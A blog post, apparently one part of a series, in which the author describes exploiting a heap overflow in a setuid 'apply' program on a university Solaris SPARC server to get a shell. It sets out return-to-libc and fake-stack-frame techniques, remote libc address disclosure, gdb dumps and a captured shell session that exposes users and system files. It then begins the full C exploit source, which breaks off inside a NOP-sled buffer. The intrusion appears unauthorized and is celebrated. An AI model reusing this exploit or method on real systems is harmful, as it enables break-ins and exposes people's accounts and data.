The Big One – Pt. X
I studied the stack frames more…
You can return from buffer overflow into a code segment with a ret restore.
you can set %fp to a fake stack frame with fake” %i and %l registers. This “fake” %i7 points to somewhere in libc with the trap call to execve.. During the ret/restore, the fake stack frames %i registers will be loaded into %o registers, which are not depicted in the stack memory.. %o registers only ever get saved to stack memory and become the next stack frame’s %i values, or they get loaded from %i regs memory during a ret/restore.
So first we must search in LibC for the following sequences:
0x000114b8 <main+868>: ret 0x000114bc <main+872>: restore End of assembler dump. (gdb) x/2x 0x000114b8 0x114b8 <main+868>: 0x81c7e008 0x81e80000 0xff31d174 <execve+0>: mov 0x3b, %g1 ! 0x3b 0xff31d178 <execve+4>: ta 8 (gdb) x/2x 0xff31d174 0xff31d174 <execve>: 0x8210203b 0x91d02008
for Life, these address are:
Ret/Restore@ 0xff31815c execve@ 0xff31d174 /bin/sh@ 0xff32a1d0
Note execve is a leaf function, and if it fails, it will infinitely execute itself… dangerous stuff.. There is no way to return to exit() in this style of programming, but it’s easier to find these opcodes than it is to find system() and exit(). Although with a little more, it’s possible to find them too.. I’m just not interested in that, I think I can pass without it.
Safe zone for null pointer @ 0xffbeb000 (from the new page we allocate to the stack). Can be used for **envp
In order to create an **argv, we need to find a place after the fake frame buffer in the stack where a whole word is null, and place the pointer to /bin/sh immediately before it.. But.. how can we query for null bytes? Simple, make sure the “first” query is on an aligned address. if the result is ” 1) \n” then it is a null byte.. increment the address by 1 up to 3 times to ensure you have found a null byte..
Getting back to finding System() is easy. execve() is simply an address of the g1 load and trap instruction.. Once you find the address of that, you can do some math to create a call instruction based on the target address.
if the target PC is 0x10628 and it’s trying to call 0x1061c. Get the difference: 0x0C. Multiply by 4.
since it is negative, XOR 0xFFFFFF + 1, RSH >> 2, add the top 2 bits 01.
In math, that’s
if (PC > DEST) { opcode = ( ( ( (PC - DEST) ^ 0xFFFFFFFF) + 1) >> 2) | 0x40000000; } else { opcode = ( (DEST - PC) >> 2) | 0x40000000; }
Once I find the address of the call instruction, I find the first save instruction before it.
To do that,
0x81E02000
skeleton save instruction to & against. A couple of these bits need to be ensured that they are 0 as well.
blade60:
execve@ 0xff31c65c
Exit Trap codes
(gdb) disas exit Dump of assembler code for function exit: 0xff32025c <exit+0>: save %sp, -96, %sp 0xff320260 <exit+4>: mov %o7, %g1 0xff320264 <exit+8>: call 0xff32026c <exit+16> 0xff320268 <exit+12>: sethi %hi(0x1bc00), %o5 0xff32026c <exit+16>: or %o5, 0x1a4, %o5 ! 0x1bda4 0xff320270 <exit+20>: add %o5, %o7, %o5 0xff320274 <exit+24>: mov %g1, %o7 0xff320278 <exit+28>: ld [ %o5 + 0xe7c ], %g1 0xff32027c <exit+32>: st %fp, [ %g1 ] 0xff320280 <exit+36>: call 0xff33e4cc <_exithandle@plt> 0xff320284 <exit+40>: nop 0xff320288 <exit+44>: restore 0xff32028c <exit+48>: mov 1, %g1 0xff320290 <exit+52>: ta 8 End of assembler dump. (gdb) x/2x 0xff32028c 0xff32028c <exit+48>: 0x82102001 0x91d02008 (gdb)
LIFE
execve@ 0xff31d174
Well, the code to search for system() in the context of the format strings in the heap overflow proved difficult, but I had it working at one point. I could actually identify the beginning of system() and exit() routines based on creating the correct opcode “call” to the execve address I found, and holding onto the “save” instruction found before. Take note that expecting to find the “save” instruction beforehand is a little risky, you may have not found one and will have to start the search from lower memory..
Anyways, the bugs surfaced in my code, and it was so long-windedly written that I could not solve. So, I went back to my other solution, calling execve directly, although it’s risky (infinite recursion if execve fails). You need to be 100% confident in your remote libc queries.. Honestly, I would prefer fixing my code to find system() and exit() any day over this, but I’m impatient and desperate, and confident, so I went to try the execve!! The first time I tried the execve approach with incorrect string address and I incurred the infinite recursion – top shows the command as taking 97% of the CPU lol. I’m glad sys admins didn’t get a chance to see that :)
I got it to work too, I just came out of having shell access on blade60. The remote administration server!! WOO HOO! <3 Here's a snippet from my successful exploit:
Stack Peek: 0xffbefcd5Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help. Please enter a group number [1-43] or command [cptqx?] : FOUND fsf1_sp @ 0xffbefd18These are the categories of accounts: 1) $$ $ 2) gradgrad - Not in a courseSystem Administrator 3) it114-1Intro Java part 1Prof. C. Kelly cs114, too 4) it115-1Intro Java part 2Prof. J. Mitzman cs115, too 5) it244-1Intro Linux/UNIXProf. G. Hoffman Sections 1-3 6) it244-4Intro Linux/UNIXProf. M. Hellwig 7) it246-2Intro NetworksProf. A. Bird 8) it341-1Intro Sys AdminProf. A. Bird 9) it341-2Intro Sys AdminProf. G. Hoffman 10) it441-1Network Services AdminProf. A. Bird All sections 11) it442-1Windows System AdminProf. S. Tran All sections 12) it443-1Network SecurityProf. R. Cheung 13) it485-1IT CapstoneProf. M. Hellwig 14) cs105-1Intro Computer ConceptsProf. A. Delibas 15) cs108-1Intro PythonProf. W. Campbell 16) cs110-1Intro to ComputingProf. R. Wilson Sections 1-4 17) cs110-5Intro to ComputingProf. S. Iyer Sections 5-6 18) cs110-7Intro to ComputingProf. D. Pletea Sections 7-8 19) cs110-50Intro to ComputingProf. H. Budiman Navitas 20) cs119-1Computer Lang. SupplementProf. R. Wilson 21) cs187-1Science Gateway SeminarProf. D. Tran it187, too 22) cs210-1Intermediate ComputingProf. R. Wilson All sections 23) cs240-1Programming in CProf. R. Cheung 24) cs285-1Social Issues and EthicsProf. A. Potasznik it285, too 25) cs310-1Advanced AlgorithmsProf. N. Haspel 26) cs320-1Applied Discrete MathProf. E. Bolker 27) cs420-1Intro Theory ComputationProf. D. Tran 28) cs443-1Mobile ApplicationsProf. B. Sheng 29) cs444-1Intro Operating SystemsProf. M. Ouyang 30) cs446-1Intro InternetworkingProf. D. Tran 31) cs450-1Higher Level LanguagesProf. C. Offner Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help. --More-- Please enter a group number [1-43] or command [cptqx?] : Do you want to just forget the whole thing (y or n)? Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help. Please enter a group number [1-43] or command [cptqx?] : $ $ w 1:35am up 14 day(s), 10:49, 8 users, load average: 0.16, 0.05, 0.07 User tty login@ idle JCPU PCPU what jkhan pts/1 Thu 5pm 2days 4:10 1:00 ssh mx1 rickm pts/2 Fri 8am 4 4:06 18 vi Makefile jdelreal pts/3 Sat 9am 3days 10 10 ssh cups2 lbarrett pts/4 9:34am 13:04 9 9 ssh vm22 rickm pts/5 1:44pm 7:57 3 1 /bin/tcsh -m hdeblois pts/6 Thu12pm 5days less jkhan pts/7 7Oct14 9days ssh mx1 apply pts/8 1:34am 3 w $ w 1:35am up 14 day(s), 10:49, 8 users, load average: 0.14, 0.05, 0.07 User tty login@ idle JCPU PCPU what jkhan pts/1 Thu 5pm 2days 4:10 1:00 ssh mx1 rickm pts/2 Fri 8am 4 4:06 18 vi Makefile jdelreal pts/3 Sat 9am 3days 10 10 ssh cups2 lbarrett pts/4 9:34am 13:04 9 9 ssh vm22 rickm pts/5 1:44pm 7:58 3 1 /bin/tcsh -m hdeblois pts/6 Thu12pm 5days less jkhan pts/7 7Oct14 9days ssh mx1 apply pts/8 1:34am 3 w $ w 1:35am up 14 day(s), 10:49, 8 users, load average: 0.13, 0.05, 0.07 User tty login@ idle JCPU PCPU what jkhan pts/1 Thu 5pm 2days 4:10 1:00 ssh mx1 rickm pts/2 Fri 8am 4 4:06 18 vi Makefile jdelreal pts/3 Sat 9am 3days 10 10 ssh cups2 lbarrett pts/4 9:34am 13:04 9 9 ssh vm22 rickm pts/5 1:44pm 7:58 3 1 /bin/tcsh -m hdeblois pts/6 Thu12pm 5days less jkhan pts/7 7Oct14 9days ssh mx1 apply pts/8 1:34am 3 w $ ls -la total 2403 drwxrwxr-x 8 apply faculty 1024 Oct 20 09:56 . dr-xr-xr-x 6 root root 6 Oct 21 01:21 .. -rw------- 1 apply dummies 64 Sep 7 2011 .Xauthority -rw-r--r-- 1 apply root 0 Sep 14 1990 .hushlogin -rw-r--r-- 1 apply other 0 Sep 3 1996 .plan drwx------ 2 apply other-sol 512 Jan 28 2013 .ssh -rw-r--r-- 1 apply other 1685 Jan 23 2012 Announce drwxr-xr-x 3 apply other 10240 Oct 16 13:24 HIST drwxr-xr-x 2 apply other 512 May 30 2012 OHNO drwxr-xr-x 4 apply root 4096 Aug 30 09:28 OLD -rw-r--r-- 1 apply other 1080 Feb 12 2007 README.cs680 drwxr-xr-x 2 apply other 3072 Oct 16 13:24 SAVE drwxr-xr-x 3 apply other 512 Aug 31 10:21 TRY lrwxrwxrwx 1 apply other-sol 37 Oct 27 2003 accounts-requests -> /data/mail-archives/accounts-requests lrwxrwxrwx 1 apply root 14 Jan 8 2003 add_groups -> src/add_groups -rw-r--r-- 1 root ugrad 0 Oct 16 13:24 applications.deferred -rw-r--r-- 1 apply other 737989 Oct 16 12:38 applications.log -rw-r--r-- 1 apply ugrad 116 Oct 20 09:56 applications.queued -rw-r--r-- 1 apply other 423 Oct 1 14:03 applications.rejected -rws--x--x 2 apply root 29644 Aug 30 09:18 apply -rws--x--x 2 apply root 29644 Aug 30 09:18 apply.f14 -rwxr-x--- 1 apply other 4319 Oct 16 14:46 class-group-dir-fix.sh -rwxr-xr-x 1 apply other 408 Aug 31 10:40 class-group-dir-mk-list.pl -rwxr--r-- 1 apply other 2272 Aug 31 10:18 class-group-dir-report.sh -rw-r--r-- 1 root other-sol 1365 Sep 29 17:03 class-group-dir.list -rw------- 1 root ugrad 269160 Oct 16 13:25 core -rwxr-xr-x 1 apply other 670 Sep 1 11:30 dummy.sh -rw-r--r-- 1 root other-sol 5278 Sep 19 14:32 foo.9022 -rw-r--r-- 1 apply other 0 Oct 16 12:39 groups.add -rw-r--r-- 1 apply other 1562 Sep 16 14:55 howto.add.course -rw-r--r-- 1 apply other 13876 Sep 3 14:14 howto.new.semester lrwxrwxrwx 1 apply root 16 Jan 8 2003 log -> applications.log -rw------- 1 apply other-sol 1183 Oct 9 2012 math_accounts -rwxr-xr-x 1 apply root 121 Sep 4 2007 notyet.sh lrwxrwxrwx 1 apply root 19 Jan 8 2003 q -> applications.queued lrwxrwxrwx 1 apply root 9 Jan 8 2003 reply -> src/reply -rwxr-xr-x 1 root root 29552 Aug 30 09:18 reply.real -rwxr-xr-x 1 apply root 29536 Jan 24 2013 reply.real.OLD -rw-r--r-- 1 root other-sol 5428 Sep 19 14:20 setup lrwxrwxrwx 1 apply root 18 Jan 8 2003 src -> /sources/apply-1.2 $ w 1:36am up 14 day(s), 10:50, 8 users, load average: 0.07, 0.04, 0.06 User tty login@ idle JCPU PCPU what jkhan pts/1 Thu 5pm 2days 4:10 1:00 ssh mx1 rickm pts/2 Fri 8am 5 4:06 18 vi Makefile jdelreal pts/3 Sat 9am 3days 10 10 ssh cups2 lbarrett pts/4 9:34am 13:04 9 9 ssh vm22 rickm pts/5 1:44pm 7:58 3 1 /bin/tcsh -m hdeblois pts/6 Thu12pm 5days less jkhan pts/7 7Oct14 9days ssh mx1 apply pts/8 1:34am 1 3 w $ id uid=1001(apply) gid=27(dummies) $ hostname blade60.cs.umb.edu $ cat /etc/system * /config/etc/system.db installed as db:/etc/system * Modified IAW db2 installation instructions by rickm 7/1996 * This should do fine for aruba, too. Plenty of resources. * * NOTICE: Do not edit the copy of this file that is installed! * Any changes will be lost when it is overwritten by the master copy. * *ident "@(#)system 1.15 92/11/14 SMI" /* SVR4 1.5 */ * * SYSTEM SPECIFICATION FILE * * moddir: * * Set the search path for modules. This has a format similar to the * csh path variable. If the module isn't found in the first directory * it tries the second and so on. The default is /kernel /usr/kernel * * Example: * moddir: /kernel /usr/kernel /other/modules * root device and root filesystem configuration: * * The following may be used to override the defaults provided by * the boot program: * * rootfs: Set the filesystem type of the root. * * rootdev: Set the root device. This should be a fully * expanded physical pathname. The default is the * physical pathname of the device where the boot * program resides. The physical pathname is * highly platform and configuration dependent. * * Example: * rootfs:ufs * rootdev:/sbus@1,f8000000/esp@0,800000/sd@3,0:a * * (Swap device configuration should be specified in /etc/vfstab.) * exclude: * * Modules appearing in the moddir path which are NOT to be loaded, * even if referenced. Note that `exclude' accepts either a module name, * or a filename which includes the directory. * * Examples: * exclude: win * exclude: sys/shmsys * forceload: * * Cause these modules to be loaded at boot time, (just before mounting * the root filesystem) rather than at first reference. Note that * forceload expects a filename which includes the directory. Also * note that loading a module does not necessarily imply that it will * be installed. * * Example: * forceload: drv/foo * set: * * Set an integer variable in the kernel or a module to a new value. * This facility should be used with caution. See system(4). * * Examples: * * To set variables in 'unix': * * set nautopush=32 * set maxusers=40 * * To set a variable named 'debug' in the module named 'test_module' * * set test_module:debug = 0x13 * From IBMdb2 instructions. set msgsys:msginfo_msgmax = 65535 set msgsys:msginfo_msgmnb = 65535 set msgsys:msginfo_msgmap = 258 set msgsys:msginfo_msgmni = 256 set msgsys:msginfo_msgssz = 16 set msgsys:msginfo_msgtql = 128 set msgsys:msginfo_msgseg = 8192 set shmsys:shminfo_shmmax = 67108864 set shmsys:shminfo_shmseg = 16 set shmsys:shminfo_shmmni = 300 set semsys:seminfo_semmni = 128 set semsys:seminfo_semmap = 130 set semsys:seminfo_semmns = 256 set semsys:seminfo_semmnu = 256 * Increase the number of Pseudo-ttys to 256 set pt_cnt=256 * Disable exec into the stack, against buffer overruns. set noexec_user_stack = 1 set noexec_user_stack_log = 1 $ uname -a SunOS blade60.cs.umb.edu 5.8 Generic_108528-17 sun4u sparc SUNW,Sun-Blade-100 $ cat /etc/motd Sun Microsystems Inc. SunOS 5.8 Generic 64-bit February 2000 Welcome to blade60.cs.umb.edu, a SunBlade 150 (uIIe-S128) Authorized users only. $
Now that I’ve done it, I explain exactly how.
1) No-Exec stack, no knowledge of libc offsets.. Waht do?
a) Find a way to get information out of the program. In my case, I could heap overflow ibuf string ptr into a structure of char *ptrs. Be careful in ensuring everything between the buffer and the target can be maintained. In my case, there was an **environ that needed to be maintained at least as a pointer to NULL byte.
b) Write routines to query addresses of interest. Best if you can find a way to repeat this without crashing the program. I could do that :) Also best to have more knowledge of where to begin querying. For me, I had the benefit of knowing the start offsets of LibC and the stack by fierce comparison to other Solaris blade 100/150 systems. pmap is a great cmd. I had to take care of how the resultant information is presented.. As you know, sometimes I queried for opcodes with null bytes, and the fact that I had to display 3 addresses in a row, you need to take into account all these “form Factors” to correctly interpret what the program outputs for your memory peeking.
2) Hacking.. Literally, just thinking. Sometimes the program does things that traditional hacking tutorials don’t solve, or very few if one even talks about it.. This is real hacking. Solving these obstacles is the real deal. Breaking barriers. In my case, remotely querying libC address offsets was something entirely undocumented that I took into my own hands and had to write my own interpreter in the midst of my found heap overflow in the apply program. I couldn’t be happier with my level of 1337
3) Even after querying the libc addresses, I still had a problem. system() and execve all wanted their core argument in a “zero” register, %i0 and %o0… All of the target functions in the apply program will overwrite the %i0 register, which after ret becomes %o0… This was a big problem for me at first!! It meant that hacking the program would require knowledge of vulnerable function’s stack frame. Why? Return-Oriented Programming (ROP). You see, in SPARC, by ret/restoring, simply by ret/restoring, a hacker can control all %lX, %iX, and %oX variables directly, and, possibly with info disclosure you may be able to control the globals indirectly. It’s really up to your imagination and willingness to discover (or write an automated program to discover for you). I call fierce ROP (the mainstream ROP), whereas basic ROP on SPARC in my mind is just using ret/restore to utilize fake stack frames to gain direct control over the registers.
Once again, Groups() returned by loading a value over my %i0..I must be able to reference a “fake” stack frame supplied in the buffer (and therefore cirumventing the clobbered %i0). This was when the hacking started getting towards the edges of my intellect. I was hoping to get away without needing that knowledge, but I likey, and I wrote the info peek module, I had resources now.
Here’s how it works:
I analyzed + debugged apply and found that Groups() stack-frame memory+, found a free block of memory at least 0x40 bytes (stack frame for locals and i registers) I checked this by analyzing the Groups() function for “%sp” and “%fp” to figure out where the free memory was. I need to make sure the new %fp doesn’t cause other crucial data my buffer to get overwritten.. Once I find this “safe place,” make sure the exploit writes a buffer that will contain the fake stack frame at that good location. This is during the research stage a relative offset. For instance “I need the fsf to be at 0x44 bytes after the overwritten %i7.”
The way that the fake stack frame is utilized is by overwriting the vuln function’s caller’s %fp to point to the start of your stack frame. The can be guessed, or guaranteed with mem disclosure. At this point, I have mem peek so I can guarantee I hit right the first time. But without that, the program would have to be repeatedly brute forced to find a correct offset. The memory peek is a great ability because it can probably circumvent ASLR too. Plus you dont have to repeatedly crash the program. I am glad I found this great vulnerability. Info disclosure is way more important that I previously foretold.
You do math to find the correct value to put into vuln func’s caller’s %fp, that will directly reference the fsf. The fsf is 0x40 bytes, where first 0x20 is the %lX register values, and the last 0x20 are the %iX registers. This is how I can replace the clobbered %i0 from Group()’s return..
Now, the fsf has to have a valid %fp, somewhere in stack memory and I find that with system() in this case at least, was to use a %fp 0x100 above or 0x200 below the caller’s stack frame.
Currently, in my case, I had 2 options based on WHAT CAN DO.
1) Use fsf to target system() and exit() —< guaranteed to exit cleanly, I hope..
2) Use fsf to targe execve() --< Guaranteed to be dangerous as hell.
1 is considered safer because you can return cleanly, but 2 is dangerous because if execve fails, given that it's a leaf function, it will return to itself infinitely. Can you say 97% CPU usage... Anyways, the MOST IMPORTANT THING, in the case of mine, remote LibC info disclosure, the MOST IMPORTANT THING is to make sure your info lookup routine is FLAWLESS. If it turns out that it isn't.. You are incurring a huge risk as you don't really know wtf you are referencing in memory.. Thus, I tried my routines on 3 different versions of LibC I had found "lying around." Each machine's libC I found different simply by doing a ls -l on /lib/ld.so.1, in my case.. I found the different versions by both trial/error, and this method:
bazz@blade72[pts/7][~] ldd -v ./apply_actual find object=libsocket.so.1; required by apply_actual libsocket.so.1 => /usr/lib/libsocket.so.1 find object=libc.so.1; required by apply_actual libc.so.1 => /usr/lib/libc.so.1 find version=libc.so.1 libc.so.1 (SUNW_0.9) => /usr/lib/libc.so.1 find object=libnsl.so.1; required by /usr/lib/libsocket.so.1 libnsl.so.1 => /usr/lib/libnsl.so.1 find version=libnsl.so.1 libnsl.so.1 (SUNW_1.7) => /usr/lib/libnsl.so.1 libnsl.so.1 (SUNWprivate_1.1) => /usr/lib/libnsl.so.1 find object=libc.so.1; required by /usr/lib/libsocket.so.1 find version=libc.so.1 libc.so.1 (SUNW_1.19) => /usr/lib/libc.so.1 libc.so.1 (SUNWprivate_1.1) => /usr/lib/libc.so.1 find object=libdl.so.1; required by /usr/lib/libc.so.1 libdl.so.1 => /usr/lib/libdl.so.1 find version=libdl.so.1 libdl.so.1 (SUNWprivate_1.1) => /usr/lib/libdl.so.1 find object=libdl.so.1; required by /usr/lib/libnsl.so.1 find version=libdl.so.1 libdl.so.1 (SISCD_2.3) => /usr/lib/libdl.so.1 find object=libc.so.1; required by /usr/lib/libnsl.so.1 find version=libc.so.1 libc.so.1 (SUNW_1.19) => /usr/lib/libc.so.1 libc.so.1 (SUNWprivate_1.1) => /usr/lib/libc.so.1 find object=libmp.so.2; required by /usr/lib/libnsl.so.1 libmp.so.2 => /usr/lib/libmp.so.2 find version=libmp.so.2 libmp.so.2 (SUNW_1.1) => /usr/lib/libmp.so.2 libmp.so.2 (SUNWprivate_1.1) => /usr/lib/libmp.so.2 find object=libc.so.1; required by /usr/lib/libmp.so.2 find version=libc.so.1 libc.so.1 (SYSVABI_1.3) => /usr/lib/libc.so.1 object=/usr/lib/libc.so.1; filter for /usr/platform/$PLATFORM/lib/libc_psr.so.1 find object=/usr/platform/SUNW,Sun-Blade-100/lib/libc_psr.so.1; required by /usr/lib/libc.so.1 /usr/platform/SUNW,Sun-Blade-100/lib/libc_psr.so.1 object=/usr/lib/libdl.so.1; filter for /usr/lib/ld.so.1 bazz@blade72[pts/7][~] ls -l /usr/lib/libc.so.1 -rwxr-xr-x 1 root bin 1.2M Nov 27 2007 /usr/lib/libc.so.1 bazz@blade72[pts/7][~]
Earlier in this series is a picture of ls -l of 3 different libc .so files…
SO ONCE AGAIN, no matter 1 or 2, MAKE SURE YOUR MEMORY QUERYING IS FLAWLESS.
This can be tough if there are serious constraints in place. In my case, I always had to overflow 3 adjacent in memory and adjacently printed char * pointers. And in the case of the memory address having a null byte at the end, only one of the char * would print new address data… Then there was the formatting in place on that printed string form of memory. and how to query opcodes with null bytes in them.. Stuff like that you need to ensure is working PERFECTLY.
Query Current Stack Frame
Query the current stack frame by targeting known information to be on the stack. For me, that is the Groups() return address value, except that return address has a MSB null byte, so I make sure to in GDB, check the entire stack memory during that function’s execution in memory — to see if the 3 bytes of return address are present anywhere else.. THEY AREN’T — good I have a signature to search for.. Find the address of the signature, and understand the offset from it to target locations. “target locations” is a place in stack memory that you can use for the fsf, won’t be clobbered by calling function.
The reason for creating a fake stack frame is documented in a hacking article “http://www.groar.org/expl/intermediate/stack.txt” and I explained it above — it gives us greater control over the registers if we need it. in particular if the caller function clobbers a needed register…
I could go on and on, but I think you get the point…
I left off by talking about the 1,2 strategies, system() or execve().. In my circumstance, peeking for the system() was a fun challenge — and here is how anyone who is remotely querying libC would do it..
I found that all system()’s would call out to execve().. LibC execve() function is just a trap to execve on SPARC. Thus I searched for the trap signature in LibC. Once found that address, I can dynamically create call instruction opcodes, which change for every address tested, to find the one that calls execve. That function — I wonder if other functions call execve — I didn’t think about that 0_0.. Well then, make sure if libc has other functions that call execve.. Either way, you find that call, and then you trace back to the first “save” instruction before that call, and you have found “A” function. Hopefully it’s System(), but I didn’t think about multiple functions calling execve… HM, in that case, it’s worth either A) investigating a full memory peek of LibC which could take a long time hours in my circumstance, or just go ahead and use the execve address you just found… In my case, since my system() search routine had bugs and was monstrous (~600-1000 lines??) I went ahead for the already working searches I had to ret/restore and execve…
Ret/restore and Execve signatures are EXTREMELY SIMPLE to search for. in SPARC, they are just 8 bytes long.. Careful, the ret/restore has 2 null bytes at the end, you might want to check for them, or not..
Execve() wants:
%o0 - pointer to "/bin/sh" %o1 - **argv, can be pointer to pointer to "/bin/sh" %o2 - **envp -- can be pointer to NULL
and that’s exactly what I did..
I needed to find a spot in the STACK that had 4 bytes of 0 to act as the NULL word for **envp.
%o0 is set to the address of libC’s “/bin/sh”
%o1 is set to the address before the NULL address we just found,
The address before the NULL address becomes a pointer to %o0 in stack frame. **argv
%o2 is a pointer to the NULL word we just found.
Using a queried stack memory reference. I dynamically create a buffer with all of these values calculated on the fly.
If you were bruteforcing, it’s similar except you keep changing the stack reference address by 4..
Bruteforcing can be a guessing game but if I know where a popular location is for that app’s current stack.. I created an up/down search query for this type stuff but I never needed it:
Note: The hardcoded max/min should really become arguments to the function…
// UTILITY FUNC updown_calc(uint32_t base, uint32_t moveamt, char reset ) { static char count=1; static char updown=1; // up = 1, down = 0 //uint32_t base = 0xFFBEF400; // middle-of-stack //static uint32_t moveamt = 1004-16; // #bytes of nop - 8 to give some gift uint32_t result; //calculated return address char r; //remainder for 4-byte-alignment check // 0xFFBEF000 // from here can go up $1000 or down $1000 if (reset) { count=1; updown=1; } if (updown) { result = base + (moveamt*count); if ( (r=result%4) ) { for (; r > 0; r--) { result--; } } if (result > 0xFFBEFFFF) result = 0xFFBEFFA0; } else { result = base - (moveamt*count); if ( (r=result%4) ) { for (; r>0; r--) { result++; } } if (result < 0xFFBEE000) result = 0xFFBEE000; } updown = !updown; if (updown) { //moveamt = 2; count++; } } // <br/>
Anyways, I think I’m ready to post the whole exploit..
NoteS: peek_exit is really peek_retrest but I was testing quickly. never updated..
#include <stdarg.h> #include <sys/select.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <stropts.h> #include <sys/conf.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <termios.h> #include <sys/stream.h> #include <sys/stropts.h> #include <sys/ddi.h> #include <sys/sunddi.h> #include "CTRL_kb_mappings.h" // APPLY HEADER FILE #include "ply.h" // Param_set settings #define STACK_LINE_STR " 1) " #define STACK_LINE_NUM 1 #define SYSTEM_LINE_STR " 1) " #define SYSTEM_LINE_NUM 1 #define EXECVE_LINE_STR " 1) " #define EXECVE_LINE_NUM 1 #define EXIT_LINE_STR " 1) " #define EXIT_LINE_NUM 1 #define BINSH_LINE_STR " 1) " #define BINSH_LINE_NUM 1 ////////////////////////////////////////////////////////////// // UNUSED COOL IDEA ////////////////////////////////////////////////////////////// struct map { char *str; uint32_t offset; }; struct map exit_map[] = { { "\x9d\xe3\xbf\xa0\x82\x10", 7 }, { "\x0f\x40", 4 }, { "\x02\x1b", 9 }, { "\x9a\x03\x40\x0f\x9e\x10", 7 }, { "\x01\xc2\x03\x6e\x7c\xfc\x20\x40", 9+8 }, //{ "\x40", 2 }, //{ "\x78\x93\x01", 6 }, { "\x81\xe8", 4}, { "\x82\x10\x20\x01\x91\xd0\x20\x08", 0} }; ////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////// #define RET_RESTORE_STR "\x81\xc7\xe0\x08\x81\xe8" // 0000 // // // // It's a little risk not checking for the last 2 null bytes explicitly, // but I got away #define EXECVE_TRAP_STR "\x82\x10\x20\x3b\x91\xd0\x20\x08" #define EXIT_TRAP_STR "\x82\x10\x20\x01\x91\xd0\x20\x08" ////////////////////////////////////////////////////////////// // UNUSED BUT WOULD HAVE BEEN IF system_peek didn't crash :( ////////////////////////////////////////////////////////////// #define SAVE_SKELETON 0x81E02000 #define SAVE_SKELETON_MUSTBEZERO_BITMASK (2 << 19) // (target & SAVE_SKELETON) == SAVE_SKELECTON, // with this is good but certain bits need to be exclusively OR'd // bits 20 and 19 // ((target & SAVE_SKELETON) == SAVE_SKELECTON) && !(target & SAVE_SKELETON_MUSTBEZERO_BITMASK) ////////////////////////////////////////////////////////////// #define max(x,y) ((x) > (y) ? (x) : (y)) // easy print to stderr wrapper void print (const char *fmt, ...); // expects TTY to be COOKED :) unsigned long getaddr_from_user(const char *str) { unsigned long addr; char baddr[20]; char i; print(str); //scanf("%s", &baddr); for (i=0; i < 20; i++) { char c = getchar(); if (c == '\n') { if (i==0) return 1; baddr[i]='\0'; break; } baddr[i]=c; } addr = strtoul( baddr, (void *)0, 0 ); if (addr == 0) { fprintf(stderr, "something crapped out in conversion\n"); //print("Not going to peek the stack :(\n"); return 0; } print("addr = 0x%lx\n", addr); if ( !(addr & 0xff000000) || !(addr & 0x00ff0000) || !(addr & 0x0000ff00) ) { print ("Null byte can only be in the LSB!!! Correct your mistake...\n"); return 0; } return addr; } // unused but i leave it char no[] = "nnnnnnnn"; #define nop "\x80\x18\x40\x01" char fp[] = "\xff\xbe\xfe\x68"; char retaddr[] = "\xff\xbe\xf9\x38"; #define BUFF_SIZE 8192 // 5000 char buff[BUFF_SIZE]; uint32_t buff2_fp_offset=1096; uint32_t buff2_i7_offset=1100; // fsf = Fake Stack Frame #define buff2_fsf1_offset 1168 uint32_t buff2_fsf1_i0=buff2_fsf1_offset+0x20; uint32_t buff2_fsf1_i7=buff2_fsf1_offset+0x20+0x1c; uint32_t buff2_fsf1_fp=buff2_fsf1_offset+0x20+0x1c-4; char buff2[BUFF_SIZE] = "\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" 